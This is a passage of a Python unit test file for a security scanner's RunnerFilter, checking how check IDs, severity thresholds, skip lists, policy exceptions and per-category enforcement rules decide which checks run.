severity=Severities[BcSeverities.LOW])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.CRITICAL])) def test_run_sev_no_check_sev(self): instance = RunnerFilter(checks=['HIGH']) # if a check severity is used, skip any check without it self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789')) def test_run_sev_no_check_sev_with_id(self): instance = RunnerFilter(checks=['HIGH', 'CKV_AWS_789']) # if a check severity is used, skip any check without it self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789')) def test_skip_sev_no_check_sev(self): instance = RunnerFilter(skip_checks=['HIGH']) # if a skip check severity is used, run any check without it self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789')) def test_skip_sev_no_check_sev_with_id(self): instance = RunnerFilter(skip_checks=['HIGH', 'CKV_AWS_789']) # if a skip check severity is used, run any check without it self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789')) def test_run_sev_id_2(self): instance = RunnerFilter(checks=['CKV_AWS_123'], skip_checks=['MEDIUM']) # Run AWS_123, unless it is MEDIUM or below self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.CRITICAL])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH])) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.CRITICAL])) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW])) def test_run_two_sev_1(self): instance = RunnerFilter(checks=['MEDIUM'], skip_checks=['HIGH']) # run medium and higher, skip high and lower; skip takes priority self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH])) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.CRITICAL])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM])) def test_run_two_sev_2(self): instance = RunnerFilter(checks=['HIGH'], skip_checks=['MEDIUM']) # run HIGH and higher, skip MEDIUM and lower (so just run HIGH or higher) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH])) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.CRITICAL])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM])) def test_run_sev_explicit(self): instance = RunnerFilter(checks=['MEDIUM', 'CKV_AWS_789']) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW])) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH])) def test_skip_sev_explicit(self): instance = RunnerFilter(skip_checks=['MEDIUM', 'CKV_AWS_789']) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW])) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH])) def test_within_threshold(self): instance = RunnerFilter(checks=['LOW']) self.assertTrue(instance.within_threshold(Severities[BcSeverities.LOW])) self.assertTrue(instance.within_threshold(Severities[BcSeverities.MEDIUM])) instance = RunnerFilter(checks=['HIGH']) self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW])) self.assertFalse(instance.within_threshold(Severities[BcSeverities.MEDIUM])) instance = RunnerFilter(skip_checks=['HIGH']) self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW])) self.assertFalse(instance.within_threshold(Severities[BcSeverities.MEDIUM])) instance = RunnerFilter(skip_checks=['LOW']) self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW])) self.assertTrue(instance.within_threshold(Severities[BcSeverities.MEDIUM])) instance = RunnerFilter(checks=['HIGH'], skip_checks=['LOW']) self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW])) self.assertFalse(instance.within_threshold(Severities[BcSeverities.MEDIUM])) self.assertTrue(instance.within_threshold(Severities[BcSeverities.HIGH])) def test_within_threshold_special_severities(self): instance = RunnerFilter(skip_checks=['MEDIUM']) self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW])) self.assertFalse(instance.within_threshold(Severities[BcSeverities.MODERATE])) self.assertTrue(instance.within_threshold(Severities[BcSeverities.HIGH])) instance = RunnerFilter(skip_checks=['HIGH']) self.assertFalse(instance.within_threshold(Severities[BcSeverities.LOW])) self.assertFalse(instance.within_threshold(Severities[BcSeverities.MEDIUM])) self.assertFalse(instance.within_threshold(Severities[BcSeverities.IMPORTANT])) self.assertTrue(instance.within_threshold(Severities[BcSeverities.CRITICAL])) def test_include_local_skip_local(self): instance = RunnerFilter(include_all_checkov_policies=False) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789')) def test_include_local_run_local(self): instance = RunnerFilter(include_all_checkov_policies=True) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789')) def test_include_local_skip_platform(self): instance = RunnerFilter(include_all_checkov_policies=False) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', bc_check_id='BC_AWS_789')) def test_include_local_run_platform(self): instance = RunnerFilter(include_all_checkov_policies=True) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', bc_check_id='BC_AWS_789')) def test_include_local_skip_custom(self): instance = RunnerFilter(include_all_checkov_policies=False) instance.notify_external_check("EXT_CHECK_999") self.assertTrue(instance.should_run_check(check_id='EXT_CHECK_999')) def test_include_local_run_custom(self): instance = RunnerFilter(include_all_checkov_policies=True) instance.notify_external_check("EXT_CHECK_999") self.assertTrue(instance.should_run_check(check_id='EXT_CHECK_999')) def test_include_local_skip_local_explicit_run(self): instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789')) def test_include_local_skip_local_implicit_run(self): instance = RunnerFilter(skip_checks=['CKV_AWS_123'], include_all_checkov_policies=False) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789')) def test_include_local_skip_local_severity(self): # this case should not actually be possible (no severities if not a platform check), but testing the logic anyways instance = RunnerFilter(checks=['HIGH'], include_all_checkov_policies=False) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH])) def test_should_run_only_filtered_policies(self): instance = RunnerFilter(checks=['HIGH'], include_all_checkov_policies=False, filtered_policy_ids=["NOT_CKV_AWS_789"]) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH])) def test_should_skip_explicit_run_if_not_filtered(self): instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False, filtered_policy_ids=["NOT_CKV_AWS_789"]) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789')) def test_should_skip_filtered_policy(self): instance = RunnerFilter(skip_checks=['CKV_AWS_789'], include_all_checkov_policies=False, filtered_policy_ids=["CKV_AWS_789"]) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789')) def test_should_run_if_no_filtered_policies(self): instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False, filtered_policy_ids=[]) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789')) def test_should_skip_explicit_run_if_policy_exception(self): instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False, filtered_exception_policy_ids=['CKV_AWS_789']) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789')) def test_should_skip_policy_exception(self): instance = RunnerFilter(skip_checks=['CKV_AWS_789'], include_all_checkov_policies=False, filtered_exception_policy_ids=["CKV_AWS_789"]) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789')) def test_should_run_if_no_policy_exceptions(self): instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False, filtered_exception_policy_ids=[]) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789')) def test_should_skip_if_filtered_policy_is_also_policy_exception(self): instance = RunnerFilter(checks=['CKV_AWS_789'], include_all_checkov_policies=False, filtered_policy_ids=['CKV_AWS_789'], filtered_exception_policy_ids=['CKV_AWS_789']) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789')) def test_should_run_check_enforcement_rules(self): instance = RunnerFilter(include_all_checkov_policies=True, filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH],Severities[BcSeverities.HIGH]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]) } instance.apply_enforcement_rules(enforcement_rule_configs) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) def test_should_run_check_enforcement_rules_explicit_checks(self): instance = RunnerFilter(include_all_checkov_policies=True, checks=['CKV_AWS_789'], filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]) } instance.apply_enforcement_rules(enforcement_rule_configs) # hardcoded check IDs always run (if not removed by --skip-check) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) # these run based on severity self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) def test_should_run_check_enforcement_rules_explicit_skip_checks(self): instance = RunnerFilter(include_all_checkov_policies=True, skip_checks=['CKV_AWS_789'], filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]) } instance.apply_enforcement_rules(enforcement_rule_configs) # the logic is to merge the skip check with the enforcement rule setting, if all the skip-checks are IDs (not severities) # so we always skip 789, and run 123 based on the severity self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) def test_should_run_check_enforcement_rules_skip_severity(self): instance = RunnerFilter(include_all_checkov_policies=True, skip_checks=['MEDIUM'], filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]) } instance.apply_enforcement_rules(enforcement_rule_configs) # the skip_check severity value just totally overrides the enforcement rule self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.SECRETS)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.SECRETS)) def test_should_run_check_enforcement_rules_run_severity(self): instance = RunnerFilter(include_all_checkov_policies=True, checks=['MEDIUM'], filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]) } instance.apply_enforcement_rules(enforcement_rule_configs) # use of --check with a severity overrides the enforcement rule (so just run all MEDIUM+) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.SECRETS)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.SECRETS)) def test_should_run_check_enforcement_rules_run_and_skip_id(self): instance = RunnerFilter(include_all_checkov_policies=True, checks=['CKV_AWS_123'], skip_checks=['CKV_AWS_789'], filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]) } instance.apply_enforcement_rules(enforcement_rule_configs) # run / skip based on ID lists self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) # anything else is based on enforcement rule severity self.assertTrue(instance.should_run_check(check_id='CKV_AWS_456', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_456', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_456', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_456', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) def test_should_run_check_enforcement_rules_run_id_skip_severity(self): instance = RunnerFilter(include_all_checkov_policies=True, checks=['CKV_AWS_123'], skip_checks=['MEDIUM'], filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]) } instance.apply_enforcement_rules(enforcement_rule_configs) # the presence of a severity in check/skip overrides enforcement rules, and 789 just gets implicitly skipped because it's not in the allow list self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) def test_should_run_check_enforcement_rules_run_severity_skip_id(self): instance = RunnerFilter(include_all_checkov_policies=True, checks=['MEDIUM'], skip_checks=['CKV_AWS_123'], filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]) } instance.apply_enforcement_rules(enforcement_rule_configs) # the presence of a severity in check/skip overrides enforcement rules, so run 789 based on severity and always skip 123 self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM)) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM)) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS)) def test_extract_enforcement_rule_threshold(self): instance = RunnerFilter(include_all_checkov_policies=True, filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.LOW], Severities[BcSeverities.LOW]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]) } instance.apply_enforcement_rules(enforcement_rule_configs) self.assertEqual(instance.extract_enforcement_rule_threshold('BC_LIC_1', 'sca_package'), Severities[BcSeverities.HIGH]) self.assertEqual(instance.extract_enforcement_rule_threshold('BC_PRISMA_2022_123', 'sca_package'), Severities[BcSeverities.MEDIUM]) self.assertEqual(instance.extract_enforcement_rule_threshold('BC_CVE_2022_123', 'sca_package'), Severities[BcSeverities.MEDIUM]) self.assertEqual(instance.extract_enforcement_rule_threshold('CKV_PRISMA_2022_123', 'sca_package'), Severities[BcSeverities.MEDIUM]) self.assertEqual(instance.extract_enforcement_rule_threshold('CKV_CVE_2022_123', 'sca_package'), Severities[BcSeverities.MEDIUM]) self.assertEqual(instance.extract_enforcement_rule_threshold('CKV_AWS_123', 'terraform'), Severities[BcSeverities.LOW]) self.assertEqual(instance.extract_enforcement_rule_threshold('BC_AWS_123', 'terraform'), 